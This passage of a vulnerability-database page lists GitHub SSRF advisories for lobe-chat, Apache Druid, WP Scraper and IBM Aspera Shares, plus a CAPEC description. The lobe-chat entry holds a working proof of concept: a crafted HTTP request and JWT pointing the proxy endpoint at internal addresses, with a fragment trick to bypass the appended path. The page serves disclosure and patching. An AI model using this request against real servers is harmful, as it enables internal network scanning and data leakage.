      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise: SSRF Protection Bypass (TOCTOU \u0026 Default Insecure)"
}

GHSA-2XCC-VM3F-M8RW

Vulnerability from github – Published: 2024-11-26 15:39 – Updated: 2024-11-26 21:43
VLAI
Summary
@lobehub/chat Server Side Request Forgery vulnerability
Details

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/
  • click settings -> llm -> openai
  • fill the OpenAI API Key you like
  • fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
  • then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

image

image

image

PoC

POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}

Impact

SSRF, All users will be impacted.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-26T15:39:38Z",
    "nvd_published_at": "2024-11-26T19:15:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nlobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/\n* click settings -\u003e llm -\u003e openai\n* fill the OpenAI API Key you like\n* fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path \"/chat/completions\" which can be bypassed with sharp like \"http://172.23.0.1:8000/#\")\n* then lobe will echo the ssrf result\n\nThe jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935)\n\n\n\n### PoC\n```http\nPOST /api/chat/openai HTTP/2\nHost: chat-preview.lobehub.com\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0\nContent-Length: 158\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nX-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4\nContent-Type: application/json\nX-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/llm\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\nConnection: close\n\n{\"model\":\"gpt-3.5-turbo\",\"stream\":true,\"frequency_penalty\":0,\"presence_penalty\":0,\"temperature\":0.6,\"top_p\":1,\"messages\":[{\"content\":\"hello\",\"role\":\"user\"}]}\n```\n\n### Impact\nSSRF, All users will be impacted.",
  "id": "GHSA-2xcc-vm3f-m8rw",
  "modified": "2024-11-26T21:43:24Z",
  "published": "2024-11-26T15:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32965"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@lobehub/chat Server Side Request Forgery vulnerability"
}

GHSA-2XCR-P767-F3RV

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-07-15 00:32
VLAI
Summary
Apache Druid vulnerable to Server-Side Request Forgery, Cross-site Scripting, Open Redirect
Details

Severity: medium (5.8) / important

Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.

This issue affects all previous Druid versions.

When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.

Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
5.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.druid:druid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "31.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.druid:druid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "32.0.0"
            },
            {
              "fixed": "32.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "32.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-79",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T22:46:39Z",
    "nvd_published_at": "2025-03-20T12:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Severity: medium (5.8) / important\n\nServer-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027),\u00a0URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in Apache Druid.\n\nThis issue affects all previous Druid versions.\n\nWhen using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid\u0027s out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.\n\nUsers are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.",
  "id": "GHSA-2xcr-p767-f3rv",
  "modified": "2025-07-15T00:32:25Z",
  "published": "2025-03-20T12:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/druid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/druid/releases/tag/druid-31.0.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/druid/releases/tag/druid-32.0.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/19/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Druid vulnerable to Server-Side Request Forgery, Cross-site Scripting, Open Redirect"
}

GHSA-2XH2-CX6V-W3CR

Vulnerability from github – Published: 2024-07-06 12:31 – Updated: 2024-07-06 12:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Robert Macchi WP Scraper.This issue affects WP Scraper: from n/a through 5.7.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-06T10:15:01Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Robert Macchi WP Scraper.This issue affects WP Scraper: from n/a through 5.7.",
  "id": "GHSA-2xh2-cx6v-w3cr",
  "modified": "2024-07-06T12:31:04Z",
  "published": "2024-07-06T12:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37208"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-scraper/wordpress-wp-scraper-plugin-5-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2XHR-8668-CRPG

Vulnerability from github – Published: 2025-02-06 06:31 – Updated: 2025-02-06 06:31
VLAI
Details

IBM Aspera Shares 1.9.0 through 1.10.0 PL6 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-05T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "IBM Aspera Shares\u00a01.9.0 through 1.10.0 PL6  is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-2xhr-8668-crpg",
  "modified": "2025-02-06T06:31:26Z",
  "published": "2025-02-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56471"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7182490"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list